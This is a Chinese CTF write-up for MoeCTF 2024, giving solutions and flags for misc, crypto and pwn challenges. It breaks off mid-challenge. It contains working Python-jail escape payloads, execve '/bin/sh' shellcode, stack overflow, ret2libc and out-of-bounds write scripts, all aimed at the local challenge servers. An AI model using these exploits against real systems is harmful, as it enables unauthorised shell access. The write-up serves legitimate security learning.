0基础入门
在此签到
moectf{moectf::2024::00411c734b947c3a}
Misc
第一周
杂项入门指北
根据Misc入门指北中的提示查看海报,发现海报侧框有点划线
摩斯密码解码
得到flag
moectf{H4VE_A_G00D_T1ME}
signin
根据题目要求将luo设为缺勤,其余均设置为已签
得到flag
moectf{Thanks_For_You_signing_in_4ND_W3l0c0me_T0_M0ecTf_2024!!!}
罗小黑战记
拆分GIF后在最后几帧得到二维码,扫码得到flag
moectf{y0uu6r3th3m0st3r1nth1sf13ld}
ez_F5
根据题目描述是F5-steganography
密码在属性中
NZXV64DBONZXO33SMQ====== base32
no_password
把要解密的图片拉到F5文件夹中执行
java Extract suantouwangba.jpg
解密出来的数据会放到F5文件夹下的output.txt中,得到flag
moectf{F5_15_s0_lntere5t1n9}
捂住一只耳
在音频中提取出以下信息
moe@633143314152315171101
根据键盘密码解密,结合题目信息改为小写
1 2 3 4 5 6 7 8 9 0
1 Q W E R T Y U I O P
2 A S D F G H J K L
3 Z X C V B N M
经过尝试发现前面的moe@没用,得到flag
moectf{nevergetup}
readme
Welcome to the veryveryveryveryveryveryveryvery simple challenge! If your terminal DO NOT support unicode, it may be messed up!
You got a free hint!
--------------------------------------------------
# import ...
fd = open("/tmp/therealflag", "r")
the_real_flag = fd.read().strip() # u can't catch me, i am ________
os.system("rm /tmp/therealflag")
def handle(input, print) -> NoReturn:
pass # not implemented yet
def main():
pass # not implemented yet
if __name__ == "__main__":
main()
初步分析,因为open打开文件未关闭就执行rm删除代码,所以文件不应该被删除,
系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,/proc/self表示当前进程目录。但是在此处我们不能直到进程的pid号所以需要用到/proc/self 来表示当前进程目录。
self 目录比较独特,不同的进程访问该目录时获得的信息时不同的,内容等价于/proc/pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。
fd是一个目录,里面包含着当前进程打开的每一个文件的描述符,并将其作为路径,这些文件描述符是指向实际文件的一个符号连接。
What file you want to view? /proc/self/fd/3
Here is your file: /proc/self/fd/3
moectf{oHHhH-M4n-iT-15_ThE_TRUe-SImp1E-rEAD3R7af9}
moejail_lv1
先获取到执行权限
Are you robot? Please enter '9JOBIG'+'3LJUNH'=? to continue: 9JOBIG3LJUNH
Give me your payload:
exec('__import__("os").system("/bin/sh")')
根据提示列出在tmp下的所有文件
find /tmp -type f
/tmp/.therealflag_e4082e6696a70d95d14700c2b1ea74da97f60ca7cf0ee7164a3d20e43e63677dc99f7a30c582a2cfc0f9abbe5cc95af6dfd9571156badb26c49b1901728dfa58 -
发现只有一个,读这个文件,但是长度太长了这里用*,得到flag
cat /tmp/th*
moectf{Ah-H4_nOW-yOu_KNOW_h0w-To-esCAP3-SlmPI3_5TR1Ng-fI1ter0}
收集一下扶炼师傅的exp
[print(open(f"/tmp/{f}").read()) for f in __import__("os").listdir("/tmp") if "flag" in f]
第二周
The upside and down
根据题目对十六进制进行反转,文件头为89504e,png后缀保存。
得到一张二维码,扫码得到以下信息
where_is_the_flag?
https://balabala_towards:moectf{Fri3nds_d0n't_lie!}
得到flag
moectf{Fri3nds_d0n't_lie!}
ctfer2077
附件为一张二维码,扫码后得到以下信息
Do you want to get the flag?Please enjoy the video:BV1hThreMEyT
是Bilibili的你被骗了的视频,转化思路,在RG通道发现flag
moectf{84d7f247-3cba-4077-ba25-079f3ac7bb8a}
每人至少300份
用montage和gaps复原二维码
montage *.png -tile 3x3 -geometry +0+0 out.png
gaps run out.png flag.png --generations=9999 --population=300 --size=106
扫码得到以下信息
key{3FgQG9ZFteHzw7W42}
base58解码得到flag
moectf{we1rd_qrc0d3}
the_secret_of_snowball
010打开末尾得到key,应该为后一段flag
key???cmV0X2xpZmVfMGZfTWlzYyE= base64
ret_life_0f_Misc!
jpg文件头应该是FFD8,修改文件头,得到前一段flag
{Welc0me_t0_the_sec
综上所述
moectf{Welc0me_t0_the_secret_life_0f_Misc!}
Find It
查看图片发现关键名字 雄峰集团,搜索后发现公司地址,查找情况如下
发现只有3和4挨的比较近
吉的堡旭景崇盛幼儿园
吉的堡英佳幼儿园
得到flag
moectf{ji_di_bao_you_er_yuan}
解不完的压缩包
看名字应该属于压缩包套娃题,先通过脚本解压
import zipfile
from pathlib import Path
def extract_zip(file_path, extract_to):
with zipfile.ZipFile(file_path, 'r') as zip_ref:
zip_ref.extractall(extract_to)
print(f"解压完成")
def process_zip_files(base_dir):
while True:
zip_files = list(base_dir.glob('*.zip'))
if not zip_files:
break
for file in zip_files:
print(f"正在处理: {file}")
extract_zip(file, base_dir)
file.unlink()
subdirs = [d for d in base_dir.iterdir() if d.is_dir()]
for subdir in subdirs:
process_zip_files(subdir)
base_dir = Path("C:/Users/Xia/Desktop/解不完的压缩包")
if base_dir.exists() and base_dir.is_dir():
process_zip_files(base_dir)
else:
print(f"{base_dir} 不存在")
解压到最后一个压缩包是加密的,查看文件名以及文件大小选择CRC32爆破,得到密码
+-------------对输出的CRC值进行碰撞-----------------+
[+] 0x1db1c332: *m
[+] 0xc617bdf4: :#
[+] 0x43dfeaa4: P7
[+] 0xf812a17e: j0
+-----------------CRC碰撞结束!!!-----------------+
读取成功,导出CRC列表为:[0x3ab3ada8, 0x1db1c332, 0xc617bdf4, 0x43dfeaa4, 0xf812a17e]
CRC碰撞成功,结果为: *m:#P7j0
解压得到flag
moectf{af9c688e-e0b9-4900-879c-672b44c550ea}
第三周
ez_Forensics
根据题目描述取证方向为cmd进程,取证授权过期了,这里用最原始的volatility进行取证
volatility -f flag.vmem --profile=Win7SP1x64 cmdscan
Volatility Foundation Volatility Framework 2.6
**************************************************
CommandProcess: conhost.exe Pid: 2268
CommandHistory: 0x32b0a0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 3 LastAdded: 2 LastDisplayed: 2
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 @ 0x330410: echo moectf{WWBGY-TLVC5-XKYBZ} > flag.txt
Cmd #1 @ 0x30cec0: echo SJW7O^%gt8 > flag.txt
Cmd #2 @ 0x3350b0: del flag.txt
**************************************************
CommandProcess: conhost.exe Pid: 904
CommandHistory: 0x19b0a0 Application: DumpIt.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
得到flag
moectf{WWBGY-TLVC5-XKYBZ}
moejail_lv2
按照moejail_lv1的思路仍可以打通,得到flag
moectf{YOu-C4n_6YP@Ss_the-5TrINg-flltER_BY_nUM_To_Chr25}
我的图层在你之上
将PDF分层后把里面的图片进行通道变换得到key
解压得到caesar密文
zbrpgs{q751894o-rr0n-47qq-85q4-r92q0443921s}
得到flag
moectf{d751894b-ee0a-47dd-85d4-e92d0443921f}
时光穿梭机
实在找不出来开了个hint,虽然用处不大但是能把重心确定在the illustrated London News上
伦敦当时最有名的图报当然是the illustrated London News
搜索很多发现都需要收费,但是发现了关键信息
或许能够通过搜索 遗失在西方的中国史 找到伦敦新闻画报的电子文献
找到合适的年份范围,查看目录(目录免费)
搜索王谦陵墓,搜索无果,尝试Wang Chien,在一篇论文中发现Wang Chien 是 王建
搜索王建墓并检索附近中医,发现地点(这里注意百度和谷歌地图都无法通过附件检索,这里用的高德地图)
得到flag
moectf{han_fang_tang}
ctfer2077②
根据题目描述进行社会主义核心价值观解码,得到key
法治富强自由富强和谐平等和谐平等法治法治和谐富强法治文明公正自由
p@55w0rd
在VeraCrypto挂载,得到flag?.txt文件,注意到此加密卷的文件系统为ntfs,检索相关的内容 可以了解到ntfs隐藏数据流,
使用 NtfsStreamsEditor
可以导出 小鹤.txt ,得到下列信息
ulpb vfde hfyz yisi buuima
key jqui xxmm vedrhx de qrpb xnxp
ulpb ui veyh dazide
检索了解到小鹤为一种双拼输入法,使用相关输入法可以得到
双拼真的很有意思不是吗
key就是下而这段话得全拼小写
双拼是这样打字的
得到flag
moectf{shuangpinshizheyangdazide}
拼图羔手
字母替换部分用单表替换进行解密,先通过代码制作出码表
# input_text = "doanythigfruebcjklmqpswvxz"
input_text = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
code_setting_first="doanythigfruebcjklmqpswvxz"
code_setting_sec="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
number_setting = "0123456789"
encoded_text=" "
for i in range(len(input_text)):
if input_text[i] in code_setting_first:
if ord(input_text[i]) < 104 :
num = ord(input_text[i]) + 19
elif ord(input_text[i]) > 115:
num = ord(input_text[i]) - 19
elif 104 <= ord(input_text[i]) <= 115:
num = 219 - ord(input_text[i])
encoded_text += "'" + chr(num) + "'" + ":" + "'" + input_text[i] + "'" + ","
elif input_text[i] in code_setting_sec:
if 64 < ord(input_text[i]) < 72:
num = ord(input_text[i]) + 7
elif 71 < ord(input_text[i]) < 79:
num = ord (input_text[i]) - 7
elif 78 < ord(input_text[i]) < 82:
num = ord(input_text[i]) + 9
elif 87 < ord(input_text[i]) < 91:
num = ord(input_text[i]) - 9
elif 81 < ord(input_text[i]) < 88:
num = 168 - ord(input_text[i])
encoded_text += "'" + chr(num) + "'" + ":" + "'" + input_text[i] + "'" + ","
elif input_text[i] not in number_setting:
encoded_text += input_text[i]
print(f'dic:{{{encoded_text.strip(",").strip()}}}')
'''
dic_first={'w':'d','l':'o','t':'a','m':'n','f':'y','a':'t','s':'h','r':'i','z':'g','y':'f','i':'r','b':'u','x':'e','u':'b','v':'c','q':'j','p':'k','o':'l','n':'m','j':'q','k':'p','h':'s','d':'w','c':'v','e':'x','g':'z'}
dic_sec={'H':'A','I':'B','J':'C','K':'D','L':'E','M':'F','N':'G','A':'H','B':'I','C':'J','D':'K','E':'L','F':'M','G':'N','X':'O','Y':'P','Z':'Q','V':'R','U':'S','T':'T','S':'U','R':'V','Q':'W','O':'X','P':'Y','Q':'Z'}
'''
先对key进行解密,得到hint:StrangeCharacterStaywithNumberOnSomewhere,由int可以知道数字部分肯定是在一起的,并且在末尾,所以这里先对字母和符号部分进行处理,再单独对数字部分进行异或
from base64 import *
import re
def self_decrypting(input_text):
temp_text=''
dic={
't':'a','u':'b','v':'c','w':'d','x':'e','y':'f','z':'g','s':'h','r':'i','q':'j','p':'k','o':'l','n':'m',
'm':'n','l':'o','k':'p','j':'q','i':'r','h':'s','a':'t','b':'u','c':'v','d':'w','e':'x','f':'y','g':'z',
'H':'A','I':'B','J':'C','K':'D','L':'E','M':'F','N':'G','A':'H','B':'I','C':'J','D':'K','E':'L','F':'M',
'G':'N','X':'O','Y':'P','Z':'Q','V':'R','U':'S','T':'T','S':'U','R':'V','Q':'W','O':'X','P':'Y','Q':'Z'
}
for i in range(len(input_text)):
if input_text[i] in dic:
temp_text += dic[input_text[i]]
else:
temp_text += input_text[i]
other_text = re.sub(r'\d+', '', temp_text)
numbers = re.search(r'\d+', temp_text)
if numbers:
numbers = numbers.group(0)
numbers_text=''
num=0
for i in range(len(numbers),0,-1):
# print(f'time{i}: ',end="")
if i != len(numbers):
x = int(numbers[i-1])^int(numbers_text[num])
# print(f'{x}={numbers[i-1]}^{numbers_text[num]}')
numbers_text += str(x)
num+=1
elif i == len(numbers):
numbers_text += numbers[-1]
# print(f'{numbers[-1]}')
output_text= other_text + reverse_encoding(numbers_text)
return output_text
def reverse_encoding(input_text):
output_text = input_text[::-1]
return output_text
def re_strange_character_hint(key):
key = b64decode(key).decode('utf-8')
key = reverse_encoding(self_decrypting(key))
print("".join(key.split(" "))
)
# key="eGl4c2R4bmxVbVhpeHVuYkdzYXJkZnRhVWl4YXZ0aXRzSnh6bXRpYVU="
# re_strange_character_hint(key)
key="StrangeCharacterStaywithNumberOnSomewhere"
input_text="71517ysd%ryxsc!usv@ucy*wqosy*qxl&sxl*sbys^wb$syqwp$ysyw!qpw@hs"
output_text=self_decrypting(reverse_encoding(input_text))
print(output_text)
# hs@dkj!dfhf$kdjfh$ud^hfuh*oeh&oej*fhljd*fvb@chb!vhefi%whf52367
得到新的密文
hs@dkj!dfhf$kdjfh$ud^hfuh*oeh&oej*fhljd*fvb@chb!vhefi%whf52367
官方WP实属不好评价,非得最后一步加个谜语人,意思是把符号转化为键盘上对应的数字,得到最后的flag
moectf{hs2dkj1dfhf4kdjfh4ud6hfuh8oeh7oej8fhljd8fvb2chb1vhefi5whf52367}
第四周
Abnormal lag
频谱图开头和结尾发现flag
moectf{09e3f7f8-c970-4c71-92b0-6f03a677421a}
so many 'm'
字频分析,需要注意的是M和p都是28次,前后顺序需要尝试
moectf{C0MpuTaskingD4rE}
ez_usbpcap
查看流量包,确定usb类型为usbhid
得到键盘流量输入内容
6d6f656374667b6e3168613077307930756469616e6c33323435317dDGMQTWX
部分字符十六进制转字符串得到flag
moectf{n1ha0w0y0udianl32451}
ctfer2077③
初步分析无结果,在流6中发现secret.zip,提取并解压
解压先处理gif文件,拆分后在第三十张发现key
C5EZFsC6
结合mp3文件,使用mp3stego,解密后得到下列信息
+++++ +++[- >++++ ++++< ]>+++ +++++ .<+++ +[->- ---<] >---. <++++ +++[-
>++++ +++<] >+.<+ ++++[ ->--- --<]> ----- -.<++ +[->+ ++<]> +++++ +.<++
+[->- --<]> -.<++ ++[-> ----< ]>--- -.<++ ++++[ ->+++ +++<] >++++ +.<
brainfuck解码得到key
H5gHWM9b
解压后将01缩小得到跳舞的小人编码
解码得到flag
moectf{PEOPLE_DANCING_HAPPILY}
moejail_lv3
按照moejail_lv1的思路还可以打通,得到flag
moectf{pEp_a11Ow-You_use_UnIcODE_ChAR-4s_@sclI_0ne5c}
moejail_lv2.5
if re.search(r'["\'0-8bdhosxy_]|[^\x00-\xff]', code): print("Nope")
if len(code) > 15: print("Too long")
第一层用eval(input( ))进行绕过,input需要接收,再将提权代码输入
Give me your code: eval(input())
__import__("os").system("/bin/sh")
ls
main.py
wrapper.sh
find /tmp -type f
/tmp/therealflag_73db06c6cda81a194c922e24a2167f7b
cat /tmp/th*
moectf{soM3TlMEs_iNput_c@N_B3-a_MEtHod_TO-bYp4s5_F11TErs0}
Crypto
第一周
现代密码学入门指北
已知pqec求m
from Crypto.Util.number import *
import gmpy2
p = 197380555956482914197022424175976066223
q = 205695522197318297682903544013139543071
c = 36450632910287169149899281952743051320560762944710752155402435752196566406306
e = 65537
phi=(p-1)*(q-1)
n=p*q
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
# b'moectf{the_way_to_crypto}'
moectf{the_way_to_crypto}
Signin
联立pq,qp,p_q可以解出p和q的值
from Crypto.Util.number import *
import gmpy2
'''
pq = (p-1)*(q-2)
qp = (q-1)*(p-2)
p_q = p + q
'''
e = 65537
c = 5654386228732582062836480859915557858019553457231956237167652323191768422394980061906028416785155458721240012614551996577092521454960121688179565370052222983096211611352630963027300416387011219744891121506834201808533675072141450111382372702075488292867077512403293072053681315714857246273046785264966933854754543533442866929316042885151966997466549713023923528666038905359773392516627983694351534177829247262148749867874156066768643169675380054673701641774814655290118723774060082161615682005335103074445205806731112430609256580951996554318845128022415956933291151825345962528562570998777860222407032989708801549746
pq = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687154230787854196153067547938936776488741864214499155892870610823979739278296501074632962069426593691194105670021035337609896886690049677222778251559566664735419100459953672218523709852732976706321086266274840999100037702428847290063111455101343033924136386513077951516363739936487970952511422443500922412450462
qp = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687077087914198877794354459669808240133383828356379423767736753506794441545506312066344576298453957064590180141648690226266236642320508613544047037110363523129966437840660693885863331837516125853621802358973786440314619135781324447765480391038912783714312479080029167695447650048419230865326299964671353746764860
n = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687534959910892789661065614807265825078942931717855566686073463382398417205648946713373617006449901977718981043020664616841303517708207413215548110294271101267236070252015782044263961319221848136717220979435486850254298686692230935985442120369913666939804135884857831857184001072678312992442792825575636200505903
p_q = 279533706577501791569740668595544511920056954944184570513187478007551195831693428589898548339751066551225424790534556602157835468618845221423643972870671556362200734472399328046960316064864571163851111207448753697980178391430044714097464866523838747053135392202848167518870720149808055682621080992998747265496
q= (pq - qp + p_q) // 2
p= p_q-q
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
# b'moectf{Just_4_signin_ch4ll3ng3_for_y0u}'
ez_hash
hash爆破六字节
from hashlib import sha256
char_range = range(48, 58)
for a in char_range:
for b in char_range:
for c in char_range:
for d in char_range:
for e in char_range:
for f in char_range:
secrets = bytes('2100' + chr(a) + chr(b) + chr(c) + chr(d) + chr(e) + chr(f), 'utf-8')
hash_value = sha256(secrets).hexdigest()
if hash_value == '3a5137149f705e4da1bf6742e62c018e3f7a1784ceebcb0030656a2b42f50b6a':
print('moectf{2100' + chr(a)+ chr(b)+ chr(c)+ chr(d)+ chr(e)+ chr(f) + '}')
# moectf{2100360168}
这里的话由于可见字符数字太大了,所以优先选择纯数字
Big and small
e=3的低加密指数攻击
from libnum import*
from gmpy2 import*
from Crypto.Util.number import long_to_bytes
n = 20279309983698966932589436610174513524888616098014944133902125993694471293062261713076591251054086174169670848598415548609375570643330808663804049384020949389856831520202461767497906977295453545771698220639545101966866003886108320987081153619862170206953817850993602202650467676163476075276351519648193219850062278314841385459627485588891326899019745457679891867632849975694274064320723175687748633644074614068978098629566677125696150343248924059801632081514235975357906763251498042129457546586971828204136347260818828746304688911632041538714834683709493303900837361850396599138626509382069186433843547745480160634787
c = 150409620528288093947185249913242033500530715593845912018225648212915478065982806112747164334970339684262757
i=0
while 1:
if(gmpy2.iroot(c+i*n,3)[1]==1): #或者 iroot(c-i*n,3)
print(long_to_bytes(gmpy2.iroot(c+i*n,3)[0]))
break
i=i+1
# b'flag{xt>is>s>b}'
baby equation
Pwn
第一周
二进制漏洞审计入门指北
nc连接获取flag,但不得不说这个连接方式真的很抽象
moectf{Welcome_to_the_journey_of_Pwn}
flag_helper
连接后是一个菜单
Welcome to MoeCTF 2024 "Pwn".
Have trouble with flag?
What can I do for you?
1. "Capture the flag."
2. "Goodbye."
3. "V me 50 pts."
4. "Play game with me."
Make your choice.
> 4
测试后选项4可以进入到下一层
OK. Tell me a file path. I can `read` what others cannot `read`.
> /flag
选择需要访问的文件,进入下一层
Now, give me `flags` for this to-be-opened file.
> 0
flags参数接收一个标志位参数,用于指定文件的打开放方式和属性。常用的标志位参数:
数字常量: 0 O_RDONLY 只读打开
数字常量: 1 O_WRONLY 只写打开
数字常量: 2 O_RDWR 读写打开
数字常量:64 O_CREAT 如果文件不存在则创建
数字常量:128 O_EXCL 与O_CREAT一起使用,如果文件已存在则失败
数字常量:512 O_TRUNC 如果文件存在则截断
数字常量:1024 O_APPEND 追加写
这里我们的访问权限很低所以采用只读打开
Opened file /dev/random.
Opened file /dev/urandom.
Opened file /flag.
Opened file /dev/zero.
Then we have to `mmap` a place for the content... How do we `prot` it?
>3
这里介绍一下mmap函数的参数
prot
类型:int
描述:内存保护标志,可以是以下常量的按位或组合:
数字常量:1 PROT_READ 可读
数字常量:2 PROT_WRITE 可写
数字常量:4 PROT_EXEC 可执行
数字常量:0 PROT_NONE 不可访问
flags
类型:int
描述:映射类型和其他选项,可以是以下常量的按位或组合:
数字常量:1 MAP_SHARED 共享映射
数字常量:2 MAP_PRIVATE 私有映射
数字常量:16 MAP_FIXED 精确指定映射地址
数字常量:32 MAP_ANONYMOUS 匿名映射
文件内容写进去需要可写,读内存的信息需要可读,所以可读可写填3
And, `flags`. (Calm down, your flag is on the way.)
>32
这里不是很明白所以就写了个脚本开始爆破
from pwn import*
num=0
while True:
io=remote("127.0.0.1",56982)
io.sendlineafter(b">",b"4")
io.sendlineafter(b">",b"/flag")
io.sendlineafter(b">",b"0")
io.sendlineafter(b">",b"3")
payload=str(num)
io.sendlineafter(b"is on the way.)\n", payload)
data=io.recvline()
if b"Bad file descriptor" in data:
print(f'Wrong! mmap\'s flags={num}\n{data}')
num+=1
else:
print(f'Right! mmap\'s flags={num}\n{data}')
break
经过测试33和34都可以,也就是需要匿名映射加上基本类型
Coming in three!
Two...
Oonnne...
... I forgot the `fd` to read from. Do you still remember?
>5
这里需要用的read的fd,也就是文件描述符的知识。
read函数中默认的标准输入是 0, 标准输出是1,标准出错是2。再open一个文件时返回的是3,如果在你关闭这个文件之前,再open一个文件,返回的就是4,依次类推。之前一共打开了四个文件,所以是5
得到flag
moectf{flIE_dEscRipToR_lS-Pr3dICTA6Ie2df4f5}
NotEnoughTime
pwntool编程题
from pwn import*
io=remote("127.0.0.1",53223)
io.recvuntil(b"ones.\n")
while True:
try:
data=io.recvuntil(b"=")
print("Data:",data)
question=data.replace(b'\n', b'').replace(b'/', b'//').split(b':')[-1].split(b'!')[-1].strip().strip(b'=')
print("Qustion:",question)
answer = str(eval(question)).encode()
print("Answer:",answer)
io.sendline(answer)
except:
print(io.recvline())
# moectf{4rlTHmETlc-is-noT_mAtHeMaT1C519336e8}
这里我觉得很抽象的一点是,/是c语言中的还是python的,一开始以为是c语言里的,但是第二道题为什么按python的算没有判错?
no_more_gets
检查保护,发现只开了NX代码执行保护
查看主函数,发现s1用arc4random( )函数填入了80字节的随机数,所以下面的条件strncmp(s1, s2, 0x50uLL)不好实现,但是我们发现存在后门函数
from pwn import*
io=remote("127.0.0.1",58679)
bin_sh_add =0x401177
payload = b"a"*(0x50+8) + p64(bin_sh_add)
io.sendlineafter(b"out.",payload)
io.interactive()
# moectf{g3Ts-5tRInG-ThuS_get5_FLag127692e9}
这里如果bin_sh_add的地址填的0x401176需要进行栈对齐,这里为了方便直接跳过了push,也可以传0x401193直接执行system("/bin/sh")
Moeplane
观察图片可以发现结构体内定义了一个long类型,三个int变量以及一个unsigned char的数组。思路是利用数组下标为负数定位到高地址处进行修改
int类型长度为4,long类型长度为8,unsigned char类型的数组相当于4个变量的组合,总长度为1*4=4,并且经过计算结构体内无对齐,所以 engine_thrust 到 flight 的偏移为
4+4+4+1 = 13
但是我们发现,当我们输入1的时候下标对应为0,所以这里的下标是在输入值的基础上还需要减去1,我们需要下标为-13 所以需要输入-12,将指针定位到 flight处
Which engine?
> -12
这道题目的是修改Flight的值为 69259509840 = 0x1020304050,类型是long。这里我们采用单字节修改
-12 | -13 | -14 | -15 | -16 | -17 | -18 | -19 |
---|---|---|---|---|---|---|---|
[-13] | [-14] | [-15] | [-16] | [-17] | [-18] | [-19] | [-20] |
00 | 00 | 00 | 10 | 20 | 30 | 40 | 50 |
00 | 00 | 00 | 16 | 32 | 48 | 64 | 80 |
注意这里传入的时候需要使用十进制
from pwn import*
io=remote("127.0.0.1",53785)
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-12')
io.sendlineafter(b"Thrust in percentage",b"00")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-13')
io.sendlineafter(b"Thrust in percentage",b"00")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-14')
io.sendlineafter(b"Thrust in percentage",b"00")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-15')
io.sendlineafter(b"Thrust in percentage",b"16")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-16')
io.sendlineafter(b"Thrust in percentage",b"32")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-17')
io.sendlineafter(b"Thrust in percentage",b"48")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-18')
io.sendlineafter(b"Thrust in percentage",b"64")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-19')
io.sendlineafter(b"Thrust in percentage",b"80")
io.interactive()
'''
[TWR] Clear to land.
Whoo, we are alive...
Raise the flag!
moectf{COMPUtER_fAiLURe-WOnT_LET_yOu_FLY34919e}
'''
第二周
leak_sth
检查保护情况,发现保护全开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
发现后门函数,需要让v3 == v2才可以进入,v2是输入值,v3是随机数生成的,但是随机数有种子考虑伪随机数
from pwn import*
from ctypes import *
io=remote("127.0.0.1",52124)
libc = CDLL("libc.so.6")
libc.srand(libc.time(0))
v3 = libc.rand() #142075671
io.sendlineafter("number ",v3)
io.interactive()
得到flag
moectf{yOu_ArE_IUky_or-C1eveR3e1ecf373}
格式化字符串漏洞
ez_shellcode
检查保护情况,只开了PIE
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
查看func函数,无后门函数,read的读取长度由自己设置,运行函数我们可以得到nbytes_4的地址
Here is a gift for you :
0x7fffffffdf20
查看权限,发现nbytes_4处于可执行权限区段
0x7ffffffde000 0x7ffffffff000 rwxp 21000 0 [stack]
构造shellcode,这里计算了以下读取最小值,应该是96+8+6=110
from pwn import *
io= remote('192.168.40.1',60822)
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
io.sendlineafter(b"age:",b"110")
io.recvuntil(b"you :\n")
nbytes4_add=int(io.recv(14),16)
print(hex(nbytes4_add))
payload=shellcode.ljust((0x60+8),b'a')+p64(nbytes4_add)
io.sendlineafter(b"say?",payload)
io.interactive()
# moectf{w311-done-MY-frIend63edf49493}
这是什么?libc!
检查保护情况,开了代码执行保护和PIE,查看main函数发现提供了put函数的地址,这里考虑ret2libc
在此之前先更改附件的libc并检查
$ ldd 1
linux-vdso.so.1 (0x00007ffcfe6c5000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f144f058000)
/lib64/ld-linux-x86-64.so.2 (0x00007f144f292000)
$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 --replace-needed libc.so.6 ./libc.so.6 ./1
$ ldd 1
linux-vdso.so.1 (0x00007fff9e7ed000)
./libc.so.6 (0x00007fe205613000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fe205844000)
更改libc的指令:
patchelf --set-interpreter [ld路径] --replace-needed [原libc] [libc路径] [附件路径]
需要注意的是ret和pop_rdi的地址需要从libc里寻找
from pwn import *
io = remote('192.168.40.1',53343)
elf = ELF('1')
libc= ELF('libc.so.6')
offset=0x1
io.recvuntil(b'libc: ')
puts_addr = int(io.recv(14),16)
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
ret_add = libc_base + 0x029139
pop_rdi = libc_base + 0x02a3e5
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b"time.",payload)
io.interactive()
# moectf{so-mUCH_eXP1oItA6Le_ln-IIbC6bc974}
这是什么?shellcode!
检查保护情况,只开了PIE,代码执行权限未知
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
查看IDA发现无法进行反编译,根据报错定位到1223的位置
发现这个call是一个寄存器形式的call,rdx=rbp-110,然后调用rdx,参数是0。因为rbp-110不是一个常量,所以IDA没法分析出rdx的地址,分析代码我们可以发现rdx的地址为从标准输入中读取数据的buf地址,解决了执行流劫持的问题。
通过动调检查权限,存储段可执行
RDX 0x7fffffffde50
0x7ffffffde000 0x7ffffffff000 rwxp 21000 0 [stack]
所以需要编写的就只有shellcode部分,这里经过测试发现先用pwntool生成的shellcode没法打通,采用手写
from pwn import*
io=remote("192.168.40.1",53145)
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
io.sendlineafter(b"execute i",shellcode)
io.interactive()
# moectf{gET5heLL-NEvER_5o_e@5y1b63a9c57}
这是什么?random!
检查保护情况,发现保护全开,查看主函数,发现伪随机数
from pwn import*
from time import*
from ctypes import *
io=remote("192.168.40.1",58045)
class TM(Structure):
_fields_ = [
("tm_sec", c_int),
("tm_min", c_int),
("tm_hour", c_int),
("tm_mday", c_int),
("tm_mon", c_int),
("tm_year", c_int),
("tm_wday", c_int),
("tm_yday", c_int),
("tm_isdst", c_int)
]
libc = CDLL("libc.so.6")
libc.time.restype = c_long
libc.localtime.restype = POINTER(TM)
timer = libc.time(0)
v3 = libc.localtime(byref(c_long(timer)))
yday = v3.contents.tm_yday
libc.srandom(yday)
test=0x0a
while(test):
secret= libc.rand() % 90000 + 10000
io.sendlineafter(b"of",str(secret))
test-=1
secret = secret % 0x15F90 + 10000
io.sendlineafter(b"of",str(secret))
secret = libc.rand() % 0x15F90 + 10000
io.sendlineafter(b"of",str(secret))
io.interactive()
# moectf{r4NDom-nUMB3r5-@R3-pReD1ctA6Ieaad447}
这里的rand和random都需要在使用之前需要先初始化随机种子,否则每次生成的随机数一样
而arc4random不需要生成随机种子,因为在第一次调用的时候就会自动生成。
这是什么?GOT!
检查保护情况,只开了代码执行保护,未完全开启 RELRO(重定向只读)保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
